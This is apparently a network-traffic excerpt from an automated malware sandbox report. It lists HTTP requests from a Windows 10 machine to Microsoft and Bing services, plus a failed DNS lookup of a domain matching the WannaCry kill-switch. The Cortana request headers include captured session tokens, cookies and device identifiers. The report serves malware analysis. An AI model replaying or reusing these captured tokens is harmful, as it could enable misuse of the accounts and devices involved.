Source: global traffic	HTTP traffic detected: GET /image/apps.55990.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.1c9f2174-7e18-48ba-af90-e569a2444a83?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-8ba298101695?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-6a8c0db400e4?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-6bb763b60b02?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-13196f5baf00?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.8341.13510798886747090.a0953092-5fc3-46f0-aefa-796cb3a9b90b.fc0c6be7-c064-44dc-a7df-81e7097e3c93?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d3d24cf6c1b8?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /threshold/xls.aspx HTTP/1.1Origin: https://www.bing.comReferer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/InitContent-type: text/xmlX-MSEdge-ExternalExpType: JointCoordX-MSEdge-ExternalExp: d-thshld39,d-thshld42,d-thshld77,d-thshld78,d-thshldspcl40X-PositionerType: DesktopX-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -480X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-BM-DeviceScale: 100X-Search-TimeZone: Bias=480; StandardBias=0; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-BM-DeviceDimensionsLogical: 1232x1024X-BM-DeviceDimensions: 1232x1024X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAARa1E%2BxM1GZ4gn6pDn3APGPBd2d5h0M0t8vWgduHknAF4CuVF8BdGFEsNfwEKsAarX8Z7bQ64h6dhmJf04baM2e/Pda5Ys1YIWudUaLf1Q22V8bLB9ZL9tCDNH5gAX8oIHkiPRSLDvLze6jHTN38Xp7L6LMfWC2cG7Jq%2BuBqn1BLvyw0WWIDCEFVIEpRnBbRocBqEr%2BYZei%2BUP0L4dKx6isIE/BiAJA/MU7M0Y2cmOYjolXfCG/CSm01r9UCtGdwuViQd5AEsTONQ5SxZ8e8JbBit83IdjrCKhCi7kSfk/8o5bzZEi%2BQWR6efIUSnL4eY0Obw1BSbET5Vq1jCBcTD2cDZgAACO/loQylKFkHqAFGQyVfBEpS7RL6iwJW51mrzWZVi3Z5zMfZe8hhsgqodsWOn1HUS65JIXdUTF3HqbN3oDgdsnOzBr097uz9iIgqXWaPh3kx9CyUZ84h6yQ9Iauh10fV2e88qmzGrtZ0LP/aABK3GmiitF9NbAnQDCQGXVLTyHZ8AXwkiJAU0FABFw/Hc2khswrjSGSIAn9ykP8Kb72G2jXPPOjnYYvlY1afbpGjcvtSG/j6lxojtzFE7/Yi39SFLN7j9fElE0/A/XV55Ol3Dj7aO5GnKwDXyIiPHMHP3O%2BEIsCx4q2i8icZHtE0YXelO9Zs63Ak/5vdpE0MBdIW69pboYmhwvSr94SGj0OkpjGJRkz33tcqbi12mtFkRRg3V3Z38HgVpACRJBYhpdHi62DmUG%2Bru/4ALiiP9RILmJ1yN5rEGY0zDa7IzdcCTpym56Yb/OJ2c1CZxrOK6MzGVMWJ3iolVqEB7XY9gu56Qa4AYAOcmDEMo/4XcOycuyKs5%2Bzwi2%2BQPzyQ4%2BsfOvDqAHgm%2BQLlhucHFzwOYegTle6meyPEPtOmwOZEKuDrcHb79X7u1AE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1646756769X-Device-isOptin: trueX-Device-Touch: falseX-Device-ClientSession: 7F5B29081F5049808846537278FF1D4AX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderAccept: /Accept-Language: en-USAccept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: www.bing.comContent-Length: 81571Connection: Keep-AliveCache-Control: no-cacheCookie: MUID=54AD14FB4D1E4A6C815A867991009454; _SS=CPID=1658322333236&AC=1&CPH=4ef661f2
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4740Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4659Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4776Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4774Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4776Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4776Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4776Host: login.live.com
Source: global traffic	HTTP traffic detected: GET /proactive/v2/spark?cc=US&setLang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-Device-IsBatteryCertified: falseX-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-Device-IsBatteryEnabled: falseX-Device-NetworkType: ethernetX-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-VoiceActivationOn: falseX-Device-AudioCapture: Microphone (High Definition Audio Device)X-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAASm/%2BKkOIy2IDEmL7wJaocVztlvrDLH1R9ezKTpUY8yOzWIRyKxk86OOiGu7K4YsEqi4zJow8lBJEtL9K41AvXlyerrcc1zhXU3oKWomAsxLo1VzI8xXSOPY03dpl5pmWLUeOoWrAgRQbKCkEcXz6tWU9tf416fEFBtingH7GQtooa3tf%2BCP2hiGbG/gG402piZvz/D6iL0a4L6YizKj5y2Lc5fP3hjRW4fGUx4r/YHefwKfl9Kbc3GKvUQDfME10nRuJMuKOMh%2BRhFk8RrZB8ObxJvYIuKt8wFucXjE/7yLn1crpg/NThlysedDBpmHkMRhMM78hFugqmumxJH08bkDZgAACKWv9jZMAFkJqAHq1AOHZK9S/YVvqnKa7OZjFooWPz75dtV%2BEmzNJiz6RaMe67eqcYxCRyV3/znajHtvsp4QPdCjqHF%2B7qmQ5DsUw1L7%2BwJ22/mEWXDsXrEzqQqOkVIuvfwdEuBRm4rliUKoFy3IVPXb3y8KFT9cNk/FBqprBqoQ5iNIbHTuLVkIYYAA3HL2mTJ04tTDM4WG8aymFdIPQQWiGyMHiUjTUSa26p5YRCDpmcyvPRRcP/v1SG6XKUMKk0ZJaY9ot67SkXHBgRSrypdDjSSJo7xbszAjWKnDYNOu8sJ06UaOvOe%2BM2i2ge3LpDksrajL3uODwF9bkG6IIpzcIa6w8p9vhzBcRlW6TQnZJDfrF9HB2fOc82nrmjA/sLPmjtmRcaZ02CBRIgw5TdtOlMahCJ4XKYuxEMhondbubIVh3QcotOlqO%2BlJ71fGMM8gJatt9JHUWjQdCdtwFdhlvQmNf7piLBHi7og55E7DkT2x7jnlqntO87jphaKlUCVBPQkEuk4Di3iZn9k4WO4hyBMmqwkaHsx98tat99r3Fn1LmJUEnTtHqB/KFmNUZNsC1gE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658322332User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-IsEnergyHero: falseX-Device-Touch: falseX-Device-ClientSession: F74EDC4E6BFE417981B96292DC090A6FX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
Source: global traffic	HTTP traffic detected: GET /client/config?cc=US&setlang=en-US HTTP/1.1X-Search-CortanaAvailableCapabilities: CortanaExperience,SpeechLanguageX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {A2AB526A-D38D-4FC9-8BA0-E34B8D6354E8}X-UserAgeClass: UnknownX-BM-Market: USX-BM-DateFormat: M/d/yyyyX-CortanaAccessAboveLock: falseX-Device-OSSKU: 48X-BM-DTZ: -420X-BM-FirstEnabledTime: 132061387448759736X-DeviceID: 0100748C09001CEAX-Search-TimeZone: Bias=480; DaylightBias=-60; TimeZoneKeyName=Pacific Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAASm/%2BKkOIy2IDEmL7wJaocVztlvrDLH1R9ezKTpUY8yOzWIRyKxk86OOiGu7K4YsEqi4zJow8lBJEtL9K41AvXlyerrcc1zhXU3oKWomAsxLo1VzI8xXSOPY03dpl5pmWLUeOoWrAgRQbKCkEcXz6tWU9tf416fEFBtingH7GQtooa3tf%2BCP2hiGbG/gG402piZvz/D6iL0a4L6YizKj5y2Lc5fP3hjRW4fGUx4r/YHefwKfl9Kbc3GKvUQDfME10nRuJMuKOMh%2BRhFk8RrZB8ObxJvYIuKt8wFucXjE/7yLn1crpg/NThlysedDBpmHkMRhMM78hFugqmumxJH08bkDZgAACKWv9jZMAFkJqAHq1AOHZK9S/YVvqnKa7OZjFooWPz75dtV%2BEmzNJiz6RaMe67eqcYxCRyV3/znajHtvsp4QPdCjqHF%2B7qmQ5DsUw1L7%2BwJ22/mEWXDsXrEzqQqOkVIuvfwdEuBRm4rliUKoFy3IVPXb3y8KFT9cNk/FBqprBqoQ5iNIbHTuLVkIYYAA3HL2mTJ04tTDM4WG8aymFdIPQQWiGyMHiUjTUSa26p5YRCDpmcyvPRRcP/v1SG6XKUMKk0ZJaY9ot67SkXHBgRSrypdDjSSJo7xbszAjWKnDYNOu8sJ06UaOvOe%2BM2i2ge3LpDksrajL3uODwF9bkG6IIpzcIa6w8p9vhzBcRlW6TQnZJDfrF9HB2fOc82nrmjA/sLPmjtmRcaZ02CBRIgw5TdtOlMahCJ4XKYuxEMhondbubIVh3QcotOlqO%2BlJ71fGMM8gJatt9JHUWjQdCdtwFdhlvQmNf7piLBHi7og55E7DkT2x7jnlqntO87jphaKlUCVBPQkEuk4Di3iZn9k4WO4hyBMmqwkaHsx98tat99r3Fn1LmJUEnTtHqB/KFmNUZNsC1gE%3D%26p%3DX-Agent-DeviceId: 0100748C09001CEAX-BM-CBT: 1658322331User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134X-Device-isOptin: trueAccept-language: en-US, enX-Device-Touch: falseX-Device-ClientSession: F74EDC4E6BFE417981B96292DC090A6FX-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUIX-BM-ClientFeatures: pbitcpdisabled,AmbientWidescreen,rs1musicprod,CortanaSPAXamlHeaderHost: www.bing.comConnection: Keep-AliveCookie: MUID=54AD14FB4D1E4A6C815A867991009454
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Fdp9?ver=a4af HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Fw5p?ver=52cf HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWEJpi?ver=1a69 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWEqP7?ver=b660 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com

Source: unknown

Network traffic detected: IP country count 21

Source: unknown

DNS traffic detected: query: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com replaycode: Server failure (2)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54530
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53204
Source: unknown	Network traffic detected: HTTP traffic on port 53145 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 52874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52801
Source: unknown	Network traffic detected: HTTP traffic on port 50956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54670
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52492
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 54081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50634
Source: unknown	Network traffic detected: HTTP traffic on port 52603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50633
Source: unknown	Network traffic detected: HTTP traffic on port 50634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54439
Source: unknown	Network traffic detected: HTTP traffic on port 52546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65210
Source: unknown	Network traffic detected: HTTP traffic on port 53019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54437
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50632
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50631
Source: unknown	Network traffic detected: HTTP traffic on port 53083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 54528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50889
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65341
Source: unknown	Network traffic detected: HTTP traffic on port 50297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 65341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54451
Source: unknown	Network traffic detected: HTTP traffic on port 52908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65211
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54437 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 65338
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52611 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 65210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 54670 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52551
Source: unknown	Network traffic detected: HTTP traffic on port 50376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50376
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52796
Source: unknown	Network traffic detected: HTTP traffic on port 52964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52681
Source: unknown	Network traffic detected: HTTP traffic on port 52666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 52440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51351
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52440
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
